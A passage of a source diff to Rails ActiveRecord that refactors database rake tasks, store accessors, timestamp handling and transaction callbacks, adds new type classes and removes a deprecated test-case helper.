+ def self.prepare(object, attribute)
+ object.public_send :"#{attribute}=", {} unless object.send(attribute)
+ end
+ end
+
+ class StringKeyedHashAccessor < HashAccessor # :nodoc:
+ def self.read(object, attribute, key)
+ super object, attribute, key.to_s
+ end
+
+ def self.write(object, attribute, key, value)
+ super object, attribute, key.to_s, value
+ end
+ end
+
+ class IndifferentHashAccessor < ActiveRecord::Store::HashAccessor # :nodoc:
+ def self.prepare(object, store_attribute)
+ attribute = object.send(store_attribute)
+ unless attribute.is_a?(ActiveSupport::HashWithIndifferentAccess)
+ attribute = IndifferentCoder.as_indifferent_hash(attribute)
+ object.send :"#{store_attribute}=", attribute
+ end
+ attribute
end
- attribute
end
class IndifferentCoder # :nodoc:
@@ -129,17 +187,17 @@ module ActiveRecord
end
def load(yaml)
- self.class.as_indifferent_hash @coder.load(yaml)
+ self.class.as_indifferent_hash(@coder.load(yaml || ''))
end
def self.as_indifferent_hash(obj)
case obj
- when HashWithIndifferentAccess
+ when ActiveSupport::HashWithIndifferentAccess
obj
when Hash
obj.with_indifferent_access
else
- HashWithIndifferentAccess.new
+ ActiveSupport::HashWithIndifferentAccess.new
end
end
end
diff --git a/activerecord/lib/active_record/tasks/database_tasks.rb b/activerecord/lib/active_record/tasks/database_tasks.rb
index fda51b3d76..1228de2bfd 100644
--- a/activerecord/lib/active_record/tasks/database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/database_tasks.rb
@@ -1,9 +1,44 @@
+require 'active_support/core_ext/string/filters'
+
module ActiveRecord
module Tasks # :nodoc:
- module DatabaseTasks # :nodoc:
+ class DatabaseAlreadyExists < StandardError; end # :nodoc:
+ class DatabaseNotSupported < StandardError; end # :nodoc:
+
+ # <tt>ActiveRecord::Tasks::DatabaseTasks</tt> is a utility class, which encapsulates
+ # logic behind common tasks used to manage database and migrations.
+ #
+ # The tasks defined here are used with Rake tasks provided by Active Record.
+ #
+ # In order to use DatabaseTasks, a few config values need to be set. All the needed
+ # config values are set by Rails already, so it's necessary to do it only if you
+ # want to change the defaults or when you want to use Active Record outside of Rails
+ # (in such case after configuring the database tasks, you can also use the rake tasks
+ # defined in Active Record).
+ #
+ # The possible config values are:
+ #
+ # * +env+: current environment (like Rails.env).
+ # * +database_configuration+: configuration of your databases (as in +config/database.yml+).
+ # * +db_dir+: your +db+ directory.
+ # * +fixtures_path+: a path to fixtures directory.
+ # * +migrations_paths+: a list of paths to directories with migrations.
+ # * +seed_loader+: an object which will load seeds, it needs to respond to the +load_seed+ method.
+ # * +root+: a path to the root of the application.
+ #
+ # Example usage of +DatabaseTasks+ outside Rails could look as such:
+ #
+ # include ActiveRecord::Tasks
+ # DatabaseTasks.database_configuration = YAML.load_file('my_database_config.yml')
+ # DatabaseTasks.db_dir = 'db'
+ # # other settings...
+ #
+ # DatabaseTasks.create_current('production')
+ module DatabaseTasks
extend self
- attr_writer :current_config
+ attr_writer :current_config, :db_dir, :migrations_paths, :fixtures_path, :root, :env, :seed_loader
+ attr_accessor :database_configuration
LOCAL_HOSTS = ['127.0.0.1', 'localhost']
@@ -12,26 +47,52 @@ module ActiveRecord
@tasks[pattern] = task
end
- register_task(/mysql/, ActiveRecord::Tasks::MySQLDatabaseTasks)
- register_task(/postgresql/, ActiveRecord::Tasks::PostgreSQLDatabaseTasks)
- register_task(/sqlite/, ActiveRecord::Tasks::SQLiteDatabaseTasks)
+ register_task(/mysql/, ActiveRecord::Tasks::MySQLDatabaseTasks)
+ register_task(/postgresql/, ActiveRecord::Tasks::PostgreSQLDatabaseTasks)
+ register_task(/sqlite/, ActiveRecord::Tasks::SQLiteDatabaseTasks)
+
+ def db_dir
+ @db_dir ||= Rails.application.config.paths["db"].first
+ end
+
+ def migrations_paths
+ @migrations_paths ||= Rails.application.paths['db/migrate'].to_a
+ end
+
+ def fixtures_path
+ @fixtures_path ||= if ENV['FIXTURES_PATH']
+ File.join(root, ENV['FIXTURES_PATH'])
+ else
+ File.join(root, 'test', 'fixtures')
+ end
+ end
+
+ def root
+ @root ||= Rails.root
+ end
+
+ def env
+ @env ||= Rails.env
+ end
+
+ def seed_loader
+ @seed_loader ||= Rails.application
+ end
def current_config(options = {})
- options.reverse_merge! :env => Rails.env
+ options.reverse_merge! :env => env
if options.has_key?(:config)
@current_config = options[:config]
else
- @current_config ||= if ENV['DATABASE_URL']
- database_url_config
- else
- ActiveRecord::Base.configurations[options[:env]]
- end
+ @current_config ||= ActiveRecord::Base.configurations[options[:env]]
end
end
def create(*arguments)
configuration = arguments.first
class_for_adapter(configuration['adapter']).new(*arguments).create
+ rescue DatabaseAlreadyExists
+ $stderr.puts "#{configuration['database']} already exists"
rescue Exception => error
$stderr.puts error, *(error.backtrace)
$stderr.puts "Couldn't create database for #{configuration.inspect}"
@@ -41,20 +102,18 @@ module ActiveRecord
each_local_configuration { |configuration| create configuration }
end
- def create_current(environment = Rails.env)
+ def create_current(environment = env)
each_current_configuration(environment) { |configuration|
create configuration
}
- ActiveRecord::Base.establish_connection environment
- end
-
- def create_database_url
- create database_url_config
+ ActiveRecord::Base.establish_connection(environment.to_sym)
end
def drop(*arguments)
configuration = arguments.first
class_for_adapter(configuration['adapter']).new(*arguments).drop
+ rescue ActiveRecord::NoDatabaseError
+ $stderr.puts "Database '#{configuration['database']}' does not exist"
rescue Exception => error
$stderr.puts error, *(error.backtrace)
$stderr.puts "Couldn't drop #{configuration['database']}"
@@ -64,17 +123,25 @@ module ActiveRecord
each_local_configuration { |configuration| drop configuration }
end
- def drop_current(environment = Rails.env)
+ def drop_current(environment = env)
each_current_configuration(environment) { |configuration|
drop configuration
}
end
- def drop_database_url
- drop database_url_config
+ def migrate
+ verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
+ version = ENV["VERSION"] ? ENV["VERSION"].to_i : nil
+ scope = ENV['SCOPE']
+ verbose_was, Migration.verbose = Migration.verbose, verbose
+ Migrator.migrate(Migrator.migrations_paths, version) do |migration|
+ scope.blank? || scope == migration.scope
+ end
+ ensure
+ Migration.verbose = verbose_was
end
- def charset_current(environment = Rails.env)
+ def charset_current(environment = env)
charset ActiveRecord::Base.configurations[environment]
end
@@ -83,7 +150,7 @@ module ActiveRecord
class_for_adapter(configuration['adapter']).new(*arguments).charset
end
- def collation_current(environment = Rails.env)
+ def collation_current(environment = env)
collation ActiveRecord::Base.configurations[environment]
end
@@ -96,6 +163,19 @@ module ActiveRecord
class_for_adapter(configuration['adapter']).new(configuration).purge
end
+ def purge_all
+ each_local_configuration { |configuration|
+ purge configuration
+ }
+ end
+
+ def purge_current(environment = env)
+ each_current_configuration(environment) { |configuration|
+ purge configuration
+ }
+ ActiveRecord::Base.establish_connection(environment.to_sym)
+ end
+
def structure_dump(*arguments)
configuration = arguments.first
filename = arguments.delete_at 1
@@ -108,21 +188,89 @@ module ActiveRecord
class_for_adapter(configuration['adapter']).new(*arguments).structure_load(filename)
end
- private
+ def load_schema(format = ActiveRecord::Base.schema_format, file = nil)
+ ActiveSupport::Deprecation.warn(<<-MSG.squish)
+ This method will act on a specific connection in the future.
+ To act on the current connection, use `load_schema_current` instead.
+ MSG
- def database_url_config
- @database_url_config ||=
- ConnectionAdapters::ConnectionSpecification::Resolver.new(ENV["DATABASE_URL"], {}).spec.config.stringify_keys
+ load_schema_current(format, file)
end
+ def schema_file(format = ActiveSupport::Base.schema_format)
+ case format
+ when :ruby
+ File.join(db_dir, "schema.rb")
+ when :sql
+ File.join(db_dir, "structure.sql")
+ end
+ end
+
+ # This method is the successor of +load_schema+. We should rename it
+ # after +load_schema+ went through a deprecation cycle. (Rails > 4.2)
+ def load_schema_for(configuration, format = ActiveRecord::Base.schema_format, file = nil) # :nodoc:
+ file ||= schema_file(format)
+
+ case format
+ when :ruby
+ check_schema_file(file)
+ purge(configuration)
+ ActiveRecord::Base.establish_connection(configuration)
+ load(file)
+ when :sql
+ check_schema_file(file)
+ purge(configuration)
+ structure_load(configuration, file)
+ else
+ raise ArgumentError, "unknown format #{format.inspect}"
+ end
+ end
+
+ def load_schema_current_if_exists(format = ActiveRecord::Base.schema_format, file = nil, environment = env)
+ if File.exist?(file || schema_file(format))
+ load_schema_current(format, file, environment)
+ end
+ end
+
+ def load_schema_current(format = ActiveRecord::Base.schema_format, file = nil, environment = env)
+ each_current_configuration(environment) { |configuration|
+ load_schema_for configuration, format, file
+ }
+ ActiveRecord::Base.establish_connection(environment.to_sym)
+ end
+
+ def check_schema_file(filename)
+ unless File.exist?(filename)
+ message = %{#{filename} doesn't exist yet. Run `rake db:migrate` to create it, then try again.}
+ message << %{ If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded.} if defined?(::Rails)
+ Kernel.abort message
+ end
+ end
+
+ def load_seed
+ if seed_loader
+ seed_loader.load_seed
+ else
+ raise "You tried to load seed data, but no seed loader is specified. Please specify seed " +
+ "loader with ActiveRecord::Tasks::DatabaseTasks.seed_loader = your_seed_loader\n" +
+ "Seed loader should respond to load_seed method"
+ end
+ end
+
+ private
+
def class_for_adapter(adapter)
key = @tasks.keys.detect { |pattern| adapter[pattern] }
+ unless key
+ raise DatabaseNotSupported, "Rake tasks not supported by '#{adapter}' adapter"
+ end
@tasks[key]
end
def each_current_configuration(environment)
environments = [environment]
- environments << 'test' if environment.development?
+ # add test environment only if no RAILS_ENV was specified.
+ environments << 'test' if environment == 'development' && ENV['RAILS_ENV'].nil?
configurations = ActiveRecord::Base.configurations.values_at(*environments)
configurations.compact.each do |configuration|
diff --git a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
index 3d27c97254..eafbb2c249 100644
--- a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
@@ -1,7 +1,6 @@
module ActiveRecord
module Tasks # :nodoc:
class MySQLDatabaseTasks # :nodoc:
-
DEFAULT_CHARSET = ENV['CHARSET'] || 'utf8'
DEFAULT_COLLATION = ENV['COLLATION'] || 'utf8_unicode_ci'
ACCESS_DENIED_ERROR = 1045
@@ -16,18 +15,26 @@ module ActiveRecord
establish_connection configuration_without_database
connection.create_database configuration['database'], creation_options
establish_connection configuration
+ rescue ActiveRecord::StatementInvalid => error
+ if /database exists/ === error.message
+ raise DatabaseAlreadyExists
+ else
+ raise
+ end
rescue error_class => error
- raise error unless error.errno == ACCESS_DENIED_ERROR
-
- $stdout.print error.error
- establish_connection root_configuration_without_database
- connection.create_database configuration['database'], creation_options
- connection.execute grant_statement.gsub(/\s+/, ' ').strip
- establish_connection configuration
- rescue error_class => error
- $stderr.puts error.error
- $stderr.puts "Couldn't create database for #{configuration.inspect}, #{creation_options.inspect}"
- $stderr.puts "(If you set the charset manually, make sure you have a matching collation)" if configuration['encoding']
+ if error.respond_to?(:errno) && error.errno == ACCESS_DENIED_ERROR
+ $stdout.print error.error
+ establish_connection root_configuration_without_database
+ connection.create_database configuration['database'], creation_options
+ if configuration['username'] != 'root'
+ connection.execute grant_statement.gsub(/\s+/, ' ').strip
+ end
+ establish_connection configuration
+ else
+ $stderr.puts error.inspect
+ $stderr.puts "Couldn't create database for #{configuration.inspect}, #{creation_options.inspect}"
+ $stderr.puts "(If you set the charset manually, make sure you have a matching collation)" if configuration['encoding']
+ end
end
def drop
@@ -36,7 +43,7 @@ module ActiveRecord
end
def purge
- establish_connection :test
+ establish_connection configuration
connection.recreate_database configuration['database'], creation_options
end
@@ -53,7 +60,10 @@ module ActiveRecord
args.concat(["--result-file", "#{filename}"])
args.concat(["--no-data"])
args.concat(["#{configuration['database']}"])
- Kernel.system(*args)
+ unless Kernel.system(*args)
+ $stderr.puts "Could not dump the database structure. "\
+ "Make sure `mysqldump` is in your PATH and check the command output for warnings."
+ end
end
def structure_load(filename)
@@ -87,14 +97,15 @@ module ActiveRecord
end
def error_class
- case configuration['adapter']
- when /jdbc/
+ if configuration['adapter'] =~ /jdbc/
require 'active_record/railties/jdbcmysql_error'
ArJdbcMySQL::Error
- when /mysql2/
+ elsif defined?(Mysql2)
Mysql2::Error
- else
+ elsif defined?(Mysql)
Mysql::Error
+ else
+ StandardError
end
end
@@ -114,7 +125,7 @@ IDENTIFIED BY '#{configuration['password']}' WITH GRANT OPTION;
end
def root_password
- $stdout.print "Please provide the root password for your mysql installation\n>"
+ $stdout.print "Please provide the root password for your MySQL installation\n>"
$stdin.gets.strip
end
@@ -124,11 +135,11 @@ IDENTIFIED BY '#{configuration['password']}' WITH GRANT OPTION;
args << "--password=#{configuration['password']}" if configuration['password']
args.concat(['--default-character-set', configuration['encoding']]) if configuration['encoding']
configuration.slice('host', 'port', 'socket').each do |k, v|
- args.concat([ "--#{k}", v ]) if v
+ args.concat([ "--#{k}", v.to_s ]) if v
end
+
args
end
-
end
end
end
diff --git a/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
index ea5cb888fb..ce1de4b76e 100644
--- a/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb
@@ -3,7 +3,6 @@ require 'shellwords'
module ActiveRecord
module Tasks # :nodoc:
class PostgreSQLDatabaseTasks # :nodoc:
-
DEFAULT_ENCODING = ENV['CHARSET'] || 'utf8'
delegate :connection, :establish_connection, :clear_active_connections!,
@@ -18,6 +17,12 @@ module ActiveRecord
connection.create_database configuration['database'],
configuration.merge('encoding' => encoding)
establish_connection configuration
+ rescue ActiveRecord::StatementInvalid => error
+ if /database .* already exists/ === error.message
+ raise DatabaseAlreadyExists
+ else
+ raise
+ end
end
def drop
@@ -49,12 +54,12 @@ module ActiveRecord
command = "pg_dump -i -s -x -O -f #{Shellwords.escape(filename)} #{search_path} #{Shellwords.escape(configuration['database'])}"
raise 'Error dumping database' unless Kernel.system(command)
- File.open(filename, "a") { |f| f << "SET search_path TO #{ActiveRecord::Base.connection.schema_search_path};\n\n" }
+ File.open(filename, "a") { |f| f << "SET search_path TO #{connection.schema_search_path};\n\n" }
end
def structure_load(filename)
set_psql_env
- Kernel.system("psql -f #{filename} #{configuration['database']}")
+ Kernel.system("psql -q -f #{Shellwords.escape(filename)} #{configuration['database']}")
end
private
diff --git a/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb b/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
index da01058a82..9ab64d0325 100644
--- a/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb
@@ -1,18 +1,14 @@
module ActiveRecord
module Tasks # :nodoc:
class SQLiteDatabaseTasks # :nodoc:
-
delegate :connection, :establish_connection, to: ActiveRecord::Base
- def initialize(configuration, root = Rails.root)
+ def initialize(configuration, root = ActiveRecord::Tasks::DatabaseTasks.root)
@configuration, @root = configuration, root
end
def create
- if File.exist?(configuration['database'])
- $stderr.puts "#{configuration['database']} already exists"
- return
- end
+ raise DatabaseAlreadyExists if File.exist?(configuration['database'])
establish_connection configuration
connection
@@ -25,7 +21,11 @@ module ActiveRecord
FileUtils.rm(file) if File.exist?(file)
end
- alias :purge :drop
+
+ def purge
+ drop
+ create
+ end
def charset
connection.encoding
diff --git a/activerecord/lib/active_record/test_case.rb b/activerecord/lib/active_record/test_case.rb
deleted file mode 100644
index c035ad43a2..0000000000
--- a/activerecord/lib/active_record/test_case.rb
+++ /dev/null
@@ -1,95 +0,0 @@
-require 'active_support/test_case'
-
-ActiveSupport::Deprecation.warn('ActiveRecord::TestCase is deprecated, please use ActiveSupport::TestCase')
-module ActiveRecord
- # = Active Record Test Case
- #
- # Defines some test assertions to test against SQL queries.
- class TestCase < ActiveSupport::TestCase #:nodoc:
- def teardown
- SQLCounter.clear_log
- end
-
- def assert_date_from_db(expected, actual, message = nil)
- # SybaseAdapter doesn't have a separate column type just for dates,
- # so the time is in the string and incorrectly formatted
- if current_adapter?(:SybaseAdapter)
- assert_equal expected.to_s, actual.to_date.to_s, message
- else
- assert_equal expected.to_s, actual.to_s, message
- end
- end
-
- def assert_sql(*patterns_to_match)
- SQLCounter.clear_log
- yield
- SQLCounter.log_all
- ensure
- failed_patterns = []
- patterns_to_match.each do |pattern|
- failed_patterns << pattern unless SQLCounter.log_all.any?{ |sql| pattern === sql }
- end
- assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map{ |p| p.inspect }.join(', ')} not found.#{SQLCounter.log.size == 0 ? '' : "\nQueries:\n#{SQLCounter.log.join("\n")}"}"
- end
-
- def assert_queries(num = 1, options = {})
- ignore_none = options.fetch(:ignore_none) { num == :any }
- SQLCounter.clear_log
- yield
- ensure
- the_log = ignore_none ? SQLCounter.log_all : SQLCounter.log
- if num == :any
- assert_operator the_log.size, :>=, 1, "1 or more queries expected, but none were executed."
- else
- mesg = "#{the_log.size} instead of #{num} queries were executed.#{the_log.size == 0 ? '' : "\nQueries:\n#{the_log.join("\n")}"}"
- assert_equal num, the_log.size, mesg
- end
- end
-
- def assert_no_queries(&block)
- assert_queries(0, :ignore_none => true, &block)
- end
-
- end
-
- class SQLCounter
- class << self
- attr_accessor :ignored_sql, :log, :log_all
- def clear_log; self.log = []; self.log_all = []; end
- end
-
- self.clear_log
-
- self.ignored_sql = [/^PRAGMA (?!(table_info))/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /^SHOW max_identifier_length/, /^BEGIN/, /^COMMIT/]
-
- # FIXME: this needs to be refactored so specific database can add their own
- # ignored SQL, or better yet, use a different notification for the queries
- # instead examining the SQL content.
- oracle_ignored = [/^select .*nextval/i, /^SAVEPOINT/, /^ROLLBACK TO/, /^\s*select .* from all_triggers/im]
- mysql_ignored = [/^SHOW TABLES/i, /^SHOW FULL FIELDS/]
- postgresql_ignored = [/^\s*select\b.*\bfrom\b.*pg_namespace\b/im, /^\s*select\b.*\battname\b.*\bfrom\b.*\bpg_attribute\b/im]
-
- [oracle_ignored, mysql_ignored, postgresql_ignored].each do |db_ignored_sql|
- ignored_sql.concat db_ignored_sql
- end
-
- attr_reader :ignore
-
- def initialize(ignore = Regexp.union(self.class.ignored_sql))
- @ignore = ignore
- end
-
- def call(name, start, finish, message_id, values)
- sql = values[:sql]
-
- # FIXME: this seems bad. we should probably have a better way to indicate
- # the query was cached
- return if 'CACHE' == values[:name]
-
- self.class.log_all << sql
- self.class.log << sql unless ignore =~ sql
- end
- end
-
- ActiveSupport::Notifications.subscribe('sql.active_record', SQLCounter.new)
-end
diff --git a/activerecord/lib/active_record/timestamp.rb b/activerecord/lib/active_record/timestamp.rb
index cf17b1d8a4..936a18d99a 100644
--- a/activerecord/lib/active_record/timestamp.rb
+++ b/activerecord/lib/active_record/timestamp.rb
@@ -1,4 +1,3 @@
-
module ActiveRecord
# = Active Record Timestamp
#
@@ -10,9 +9,9 @@ module ActiveRecord
#
# config.active_record.record_timestamps = false
#
- # Timestamps are in the local timezone by default but you can use UTC by setting:
+ # Timestamps are in UTC by default but you can use the local timezone by setting:
#
- # config.active_record.default_timezone = :utc
+ # config.active_record.default_timezone = :local
#
# == Time Zone aware attributes
#
@@ -37,19 +36,20 @@ module ActiveRecord
end
def initialize_dup(other) # :nodoc:
- clear_timestamp_attributes
super
+ clear_timestamp_attributes
end
private
- def create
+ def _create_record
if self.record_timestamps
current_time = current_time_from_proper_timezone
all_timestamp_attributes.each do |column|
- if respond_to?(column) && respond_to?("#{column}=") && self.send(column).nil?
- write_attribute(column.to_s, current_time)
+ column = column.to_s
+ if has_attribute?(column) && !attribute_present?(column)
+ write_attribute(column, current_time)
end
end
end
@@ -57,7 +57,7 @@ module ActiveRecord
super
end
- def update(*args)
+ def _update_record(*args)
if should_record_timestamps?
current_time = current_time_from_proper_timezone
@@ -71,7 +71,7 @@ module ActiveRecord
end
def should_record_timestamps?
- self.record_timestamps && (!partial_writes? || changed? || (attributes.keys & self.class.serialized_attributes.keys).present?)
+ self.record_timestamps && (!partial_writes? || changed?)
end
def timestamp_attributes_for_create_in_model
@@ -98,6 +98,14 @@ module ActiveRecord
timestamp_attributes_for_create + timestamp_attributes_for_update
end
+ def max_updated_column_timestamp(timestamp_names = timestamp_attributes_for_update)
+ timestamp_names
+ .map { |attr| self[attr] }
+ .compact
+ .map(&:to_time)
+ .max
+ end
+
def current_time_from_proper_timezone
self.class.default_timezone == :utc ? Time.now.utc : Time.now
end
@@ -106,7 +114,7 @@ module ActiveRecord
def clear_timestamp_attributes
all_timestamp_attributes_in_model.each do |attribute_name|
self[attribute_name] = nil
- changed_attributes.delete(attribute_name)
+ clear_attribute_changes([attribute_name])
end
end
end
diff --git a/activerecord/lib/active_record/transactions.rb b/activerecord/lib/active_record/transactions.rb
index ce6998530f..f92e1de03b 100644
--- a/activerecord/lib/active_record/transactions.rb
+++ b/activerecord/lib/active_record/transactions.rb
@@ -1,15 +1,25 @@
-require 'thread'
-
module ActiveRecord
# See ActiveRecord::Transactions::ClassMethods for documentation.
module Transactions
extend ActiveSupport::Concern
-
- class TransactionError < ActiveRecordError # :nodoc:
- end
+ ACTIONS = [:create, :destroy, :update]
+ CALLBACK_WARN_MESSAGE = "Currently, Active Record suppresses errors raised " \
+ "within `after_rollback`/`after_commit` callbacks and only print them to " \
+ "the logs. In the next version, these errors will no longer be suppressed. " \
+ "Instead, the errors will propagate normally just like in other Active " \
+ "Record callbacks.\n" \
+ "\n" \
+ "You can opt into the new behavior and remove this warning by setting:\n" \
+ "\n" \
+ " config.active_record.raise_in_transactional_callbacks = true\n\n"
included do
- define_callbacks :commit, :rollback, :terminator => "result == false", :scope => [:kind, :name]
+ define_callbacks :commit, :rollback,
+ terminator: ->(_, result) { result == false },
+ scope: [:kind, :name]
+
+ mattr_accessor :raise_in_transactional_callbacks, instance_writer: false
+ self.raise_in_transactional_callbacks = false
end
# = Active Record Transactions
@@ -159,7 +169,7 @@ module ActiveRecord
# end
# end
#
- # only "Kotori" is created. (This works on MySQL and PostgreSQL, but not on SQLite3.)
+ # only "Kotori" is created. This works on MySQL and PostgreSQL. SQLite3 version >= '3.6.8' also supports it.
#
# Most databases don't support true nested transactions. At the time of
# writing, the only database that we're aware of that supports true nested
@@ -217,31 +227,46 @@ module ActiveRecord
# after_commit :do_bar, on: :update
# after_commit :do_baz, on: :destroy
#
- # Also, to have the callback fired on create and update, but not on destroy:
- #
- # after_commit :do_zoo, if: :persisted?
+ # after_commit :do_foo_bar, on: [:create, :update]
+ # after_commit :do_bar_baz, on: [:update, :destroy]
#
# Note that transactional fixtures do not play well with this feature. Please
# use the +test_after_commit+ gem to have these hooks fired in tests.
def after_commit(*args, &block)
- options = args.last
- if options.is_a?(Hash) && options[:on]
- options[:if] = Array(options[:if])
- options[:if] << "transaction_include_action?(:#{options[:on]})"
- end
+ set_options_for_callbacks!(args)
set_callback(:commit, :after, *args, &block)
+ unless ActiveRecord::Base.raise_in_transactional_callbacks
+ ActiveSupport::Deprecation.warn(CALLBACK_WARN_MESSAGE)
+ end
end
# This callback is called after a create, update, or destroy are rolled back.
#
# Please check the documentation of +after_commit+ for options.
def after_rollback(*args, &block)
+ set_options_for_callbacks!(args)
+ set_callback(:rollback, :after, *args, &block)
+ unless ActiveRecord::Base.raise_in_transactional_callbacks
+ ActiveSupport::Deprecation.warn(CALLBACK_WARN_MESSAGE)
+ end
+ end
+
+ private
+
+ def set_options_for_callbacks!(args)
options = args.last
if options.is_a?(Hash) && options[:on]
+ fire_on = Array(options[:on])
+ assert_valid_transaction_action(fire_on)
options[:if] = Array(options[:if])
- options[:if] << "transaction_include_action?(:#{options[:on]})"
+ options[:if] << "transaction_include_any_action?(#{fire_on})"
+ end
+ end
+
+ def assert_valid_transaction_action(actions)
+ if (actions - ACTIONS).any?
+ raise ArgumentError, ":on conditions for after_commit and after_rollback callbacks have to be one of #{ACTIONS.join(",")}"
end
- set_callback(:rollback, :after, *args, &block)
end
end
@@ -264,6 +289,10 @@ module ActiveRecord
with_transaction_returning_status { super }
end
+ def touch(*) #:nodoc:
+ with_transaction_returning_status { super }
+ end
+
# Reset id and @new_record if the transaction rolls back.
def rollback_active_record_state!
remember_transaction_record_state
@@ -275,22 +304,26 @@ module ActiveRecord
clear_transaction_record_state
end
- # Call the after_commit callbacks
- def committed! #:nodoc:
- run_callbacks :commit
+ # Call the +after_commit+ callbacks.
+ #
+ # Ensure that it is not called if the object was never persisted (failed create),
+ # but call it after the commit of a destroyed object.
+ def committed!(should_run_callbacks = true) #:nodoc:
+ _run_commit_callbacks if should_run_callbacks && destroyed? || persisted?
ensure
- clear_transaction_record_state
+ force_clear_transaction_record_state
end
- # Call the after rollback callbacks. The restore_state argument indicates if the record
+ # Call the +after_rollback+ callbacks. The +force_restore_state+ argument indicates if the record
# state should be rolled back to the beginning or just to the last savepoint.
- def rolledback!(force_restore_state = false) #:nodoc:
- run_callbacks :rollback
+ def rolledback!(force_restore_state = false, should_run_callbacks = true) #:nodoc:
+ _run_rollback_callbacks if should_run_callbacks
ensure
restore_transaction_record_state(force_restore_state)
+ clear_transaction_record_state
end
- # Add the record to the current transaction so that the :after_rollback and :after_commit callbacks
+ # Add the record to the current transaction so that the +after_rollback+ and +after_commit+ callbacks
# can be called.
def add_to_transaction
if self.class.connection.add_transaction_record(self)
@@ -311,7 +344,7 @@ module ActiveRecord
begin
status = yield
rescue ActiveRecord::Rollback
- @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
+ clear_transaction_record_state
status = nil
end
@@ -324,37 +357,38 @@ module ActiveRecord
# Save the new record state and id of a record so it can be restored later if a transaction fails.
def remember_transaction_record_state #:nodoc:
- @_start_transaction_state[:id] = id if has_attribute?(self.class.primary_key)
- @_start_transaction_state[:new_record] = @new_record
- @_start_transaction_state[:destroyed] = @destroyed
+ @_start_transaction_state[:id] = id
+ unless @_start_transaction_state.include?(:new_record)
+ @_start_transaction_state[:new_record] = @new_record
+ end
+ unless @_start_transaction_state.include?(:destroyed)
+ @_start_transaction_state[:destroyed] = @destroyed
+ end
@_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) + 1
- @_start_transaction_state[:frozen?] = @attributes.frozen?
+ @_start_transaction_state[:frozen?] = frozen?
end
# Clear the new record state and id of a record.
def clear_transaction_record_state #:nodoc:
@_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
- @_start_transaction_state.clear if @_start_transaction_state[:level] < 1
+ force_clear_transaction_record_state if @_start_transaction_state[:level] < 1
+ end
+
+ # Force to clear the transaction record state.
+ def force_clear_transaction_record_state #:nodoc:
+ @_start_transaction_state.clear
end
# Restore the new record state and id of a record that was previously saved by a call to save_record_state.
def restore_transaction_record_state(force = false) #:nodoc:
unless @_start_transaction_state.empty?
- @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
- if @_start_transaction_state[:level] < 1 || force
+ transaction_level = (@_start_transaction_state[:level] || 0) - 1
+ if transaction_level < 1 || force
restore_state = @_start_transaction_state
- was_frozen = restore_state[:frozen?]
- @attributes = @attributes.dup if @attributes.frozen?
+ thaw unless restore_state[:frozen?]
@new_record = restore_state[:new_record]
@destroyed = restore_state[:destroyed]
- if restore_state.has_key?(:id)
- self.id = restore_state[:id]
- else
- @attributes.delete(self.class.primary_key)
- @attributes_cache.delete(self.class.primary_key)
- end
- @attributes.freeze if was_frozen
- @_start_transaction_state.clear
+ write_attribute(self.class.primary_key, restore_state[:id])
end
end
end
@@ -365,14 +399,16 @@ module ActiveRecord
end
# Determine if a transaction included an action for :create, :update, or :destroy. Used in filtering callbacks.
- def transaction_include_action?(action) #:nodoc:
- case action
- when :create
- transaction_record_state(:new_record)
- when :destroy
- destroyed?
- when :update
- !(transaction_record_state(:new_record) || destroyed?)
+ def transaction_include_any_action?(actions) #:nodoc:
+ actions.any? do |action|
+ case action
+ when :create
+ transaction_record_state(:new_record)
+ when :destroy
+ destroyed?
+ when :update
+ !(transaction_record_state(:new_record) || destroyed?)
+ end
end
end
end
diff --git a/activerecord/lib/active_record/type.rb b/activerecord/lib/active_record/type.rb
new file mode 100644
index 0000000000..e5acbbb6b3
--- /dev/null
+++ b/activerecord/lib/active_record/type.rb
@@ -0,0 +1,22 @@
+require 'active_record/type/decorator'
+require 'active_record/type/mutable'
+require 'active_record/type/numeric'
+require 'active_record/type/time_value'
+require 'active_record/type/value'
+
+require 'active_record/type/big_integer'
+require 'active_record/type/binary'
+require 'active_record/type/boolean'
+require 'active_record/type/date'
+require 'active_record/type/date_time'
+require 'active_record/type/decimal'
+require 'active_record/type/decimal_without_scale'
+require 'active_record/type/float'
+require 'active_record/type/integer'
+require 'active_record/type/serialized'
+require 'active_record/type/string'
+require 'active_record/type/text'
+require 'active_record/type/time'
+
+require 'active_record/type/type_map'
+require 'active_record/type/hash_lookup_type_map'
diff --git a/activerecord/lib/active_record/type/big_integer.rb b/activerecord/lib/active_record/type/big_integer.rb
new file mode 100644
index 0000000000..0c72d8914f
--- /dev/null
+++ b/activerecord/lib/active_record/type/big_integer.rb
@@ -0,0 +1,13 @@
+require 'active_record/type/integer'
+
+module ActiveRecord
+ module Type
+ class BigInteger < Integer # :nodoc:
+ private
+
+ def max_value
+ ::Float::INFINITY
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/type/binary.rb b/activerecord/lib/active_record/type/binary.rb
new file mode 100644
index 0000000000..005a48ef0d
--- /dev/null
+++ b/activerecord/lib/active_record/type/binary.rb
@@ -0,0 +1,50 @@
+module ActiveRecord
+ module Type
+ class Binary < Value # :nodoc:
+ def type
+ :binary
+ end
+
+ def binary?
+ true
